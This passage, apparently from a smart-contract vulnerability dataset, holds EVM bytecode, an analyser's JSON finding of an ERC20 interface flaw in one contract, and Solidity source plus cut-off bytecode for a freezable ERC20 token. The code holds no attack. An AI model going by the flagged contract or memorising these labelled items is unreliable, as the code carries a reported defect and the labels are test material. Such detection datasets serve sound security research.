020018481526020018363ffffffff1663ffffffff168152602001828103825285818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610fc25780601f10610f9757610100808354040283529160200191610fc2565b820191906000526020600020905b815481529060010190602001808311610fa557829003601f168201915b50509550505050505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040518082815260200191505060405180910390a350565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109857600080fd5b8060028190555050565b6000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561112f57600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506111c48484846120c5565b600190509392505050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561121e57600080fd5b60003411156113615734600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f2cc42d00154cf5bf96512dacf0660201aa7d4483135053b238aaec06f745fcc2338434604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200183815260200180602001838103835285818151815260200191508051906020019080838360005b838110156113145780820151818401526020810190506112f9565b50505050905090810190601f1680156113415780820380516001836020036101000a031916815260200191505b508381038252600081526020016020019550505050505060405180910390a15b61136b83836123db565b905092915050565b600a60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561145957600080fd5b565b600081600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114ab57600080fd5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600b600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ba57600080fd5b8060018190555050565b600c6020528060005260406000206000915090505481565b600081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561162c57600080fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b757600080fd5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600b600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118c95780601f1061189e576101008083540402835291602001916118c9565b820191906000526020600020905b8154815290600101906020018083116118ac57829003601f168201915b505050505081565b6118dc3383836120c5565b5050565b60015481565b60066020528060005260406000206000915054906101000a900460ff1681565b61190e612670565b6000341115611cd15734600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060046001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054038154811015156119b557fe5b906000526020600020906003020160a06040519081016040529081600082018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a685780601f10611a3d57610100808354040283529160200191611a68565b820191906000526020600020905b815481529060010190602001808311611a4b57829003601f168201915b50505050508152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b0a5780601f10611adf57610100808354040283529160200191611b0a565b820191906000526020600020905b815481529060010190602001808311611aed57829003601f168201915b505050505081526020016002820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016002820160049054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016002820160089054906101000a900463ffffffff1663ffffffff1663ffffffff168152505090507f2cc42d00154cf5bf96512dacf0660201aa7d4483135053b238aaec06f745fcc23382600001513485604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200184815260200180602001838103835286818151815260200191508051906020019080838360005b83811015611c2c578082015181840152602081019050611c11565b50505050905090810190601f168015611c595780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611c92578082015181840152602081019050611c77565b50505050905090810190601f168015611cbf5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a15b5050565b60056020528060005260406000206000915090505481565b600d602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d6d57600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dd257600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f67a17b8db8ff8fa7cff69c2328bf8a35f9be2c88abeea30be900fc28eece28ed8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611efd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f3957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600480549050905090565b60025481565b6000428260020160089054906101000a900463ffffffff1663ffffffff1611159050919050565b6000600254600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115905090565b600080828401905083811015151561209157fe5b8091505092915050565b60015442018160020160086101000a81548163ffffffff021916908363ffffffff16021790555050565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156120ec57600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561213a57600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156121c857600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156123d557fe5b50505050565b600080600480548060010182816123f291906126be565b9160005260206000209060030201600060a060405190810160405280888152602001878152602001600063ffffffff1681526020014263ffffffff1681526020014263ffffffff168152509091909150600082015181600001908051906020019061245e9291906126f0565b50602082015181600101908051906020019061247b9291906126f0565b5060408201518160020160006101000a81548163ffffffff021916908363ffffffff16021790555060608201518160020160046101000a81548163ffffffff021916908363ffffffff16021790555060808201518160020160086101000a81548163ffffffff021916908363ffffffff1602179055505050905080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f6944f8f7b59503c8321eba5336a0d8a04441a9540bb273083c5014bfcf104305818585426040518085815260200180602001806020018463ffffffff1663ffffffff168152602001838103835286818151815260200191508051906020019080838360005b838110156125ba57808201518184015260208101905061259f565b50505050905090810190601f1680156125e75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015612620578082015181840152602081019050612605565b50505050905090810190601f16801561264d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1612666610d57565b8091505092915050565b60a060405190810160405280612684612770565b8152602001612691612770565b8152602001600063ffffffff168152602001600063ffffffff168152602001600063ffffffff1681525090565b8154818355818115116126eb576003028160030283600052602060002091820191016126ea9190612784565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061273157805160ff191683800117855561275f565b8280016001018555821561275f579182015b8281111561275e578251825591602001919060010190612743565b5b50905061276c9190612808565b5090565b602060405190810160405280600081525090565b61280591905b8082111561280157600080820160006127a3919061282d565b6001820160006127b3919061282d565b6002820160006101000a81549063ffffffff02191690556002820160046101000a81549063ffffffff02191690556002820160086101000a81549063ffffffff02191690555060030161278a565b5090565b90565b61282a91905b8082111561282657600081600090555060010161280e565b5090565b90565b50805460018160011615610100020316600290046000825580601f106128535750612872565b601f0160209004906000526020600020908101906128719190612808565b5b505600a165627a7a723058200403acc34b344b29069b2a7fbcdb8b0b95ff25c7b7a109f625525a0aacbe3b810029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
62
0x0c6df9bb12b32aeec1e117936457ed83ad8a1c70
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Freezable is Ownable { mapping(address => bool) public frozenAccounts; event Frozen(address indexed account, bool isFrozen); modifier isNotFrozen () { require(!frozenAccounts[msg.sender]); _; } function freezeAccount(address _addr, bool freeze) public onlyOwner { require(freeze != isFrozen(_addr)); frozenAccounts[_addr] = freeze; Frozen(_addr, freeze); } function freezeAccounts(address[] _addrs, bool freeze) public onlyOwner { for (uint i = 0; i < _addrs.length; i++) { address _addr = _addrs[i]; require(freeze != isFrozen(_addr)); frozenAccounts[_addr] = freeze; Frozen(_addr, freeze); } } function isFrozen(address _addr) public view returns (bool) { return frozenAccounts[_addr]; } } contract MyToken is StandardToken, Freezable { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name; uint8 public decimals; string public symbol; /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _totalSupply total supply of the token. * @param _name token name * @param _symbol token symbol * @param _decimals amount of decimals. */ function MyToken(uint256 _totalSupply, string _name, string _symbol, uint8 _decimals) public { balances[msg.sender] = _totalSupply; // Give the creator all initial tokens totalSupply_ = _totalSupply; name = _name; decimals = _decimals; symbol = _symbol; } /** * Freezable */ function transfer(address _to, uint256 _value) public isNotFrozen returns (bool) { require(!isFrozen(_to)); // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public isNotFrozen returns (bool) { require(!isFrozen(_from)); require(!isFrozen(_to)); // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018457806318160ddd146101de57806323b872dd14610207578063313ce5671461028057806366188463146102af57806370a0823114610309578063860838a5146103565780638da5cb5b146103a757806395d89b41146103fc578063a9059cbb1461048a578063c341b9f6146104e4578063d73dd62314610549578063dd62ed3e146105a3578063e58398361461060f578063e724529c14610660578063f2fde38b146106a4575b600080fd5b341561010157600080fd5b6101096106dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014957808201518184015260208101905061012e565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061077b565b604051808215151515815260200191505060405180910390f35b34156101e957600080fd5b6101f161086d565b6040518082815260200191505060405180910390f35b341561021257600080fd5b610266600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610877565b604051808215151515815260200191505060405180910390f35b341561028b57600080fd5b610293610910565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ba57600080fd5b6102ef600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610923565b604051808215151515815260200191505060405180910390f35b341561031457600080fd5b610340600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bb4565b6040518082815260200191505060405180910390f35b341561036157600080fd5b61038d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bfc565b604051808215151515815260200191505060405180910390f35b34156103b257600080fd5b6103ba610c1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040757600080fd5b61040f610c42565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044f578082015181840152602081019050610434565b50505050905090810190601f16801561047c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049557600080fd5b6104ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ce0565b604051808215151515815260200191505060405180910390f35b34156104ef57600080fd5b6105476004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050610d62565b005b341561055457600080fd5b610589600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ec0565b604051808215151515815260200191505060405180910390f35b34156105ae57600080fd5b6105f9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110bc565b6040518082815260200191505060405180910390f35b341561061a57600080fd5b610646600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611143565b604051808215151515815260200191505060405180910390f35b341561066b57600080fd5b6106a2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611199565b005b34156106af57600080fd5b6106db600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112bd565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107735780601f1061074857610100808354040283529160200191610773565b820191906000526020600020905b81548152906001019060200180831161075657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156108d257600080fd5b6108db84611143565b1515156108e757600080fd5b6108f083611143565b1515156108fc57600080fd5b610907848484611415565b90509392505050565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a34576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac8565b610a4783826117cf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60046020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cd85780601f10610cad57610100808354040283529160200191610cd8565b820191906000526020600020905b815481529060010190602001808311610cbb57829003601f168201915b505050505081565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d3b57600080fd5b610d4483611143565b151515610d5057600080fd5b610d5a83836117e8565b905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc157600080fd5b600091505b8351821015610eba578382815181101515610ddd57fe5b906020019060200201519050610df281611143565b151583151514151515610e0457600080fd5b82600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f713eb400302cebac61f82eb8de5051d38458517ffac43ae45f4a9fd5d09ee69884604051808215151515815260200191505060405180910390a28180600101925050610dc6565b50505050565b6000610f5182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f557600080fd5b6111fe82611143565b15158115151415151561121057600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f713eb400302cebac61f82eb8de5051d38458517ffac43ae45f4a9fd5d09ee69882604051808215151515815260200191505060405180910390a25050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561135557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561145257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561149f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561152a57600080fd5b61157b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a0790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116df82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156117dd57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffff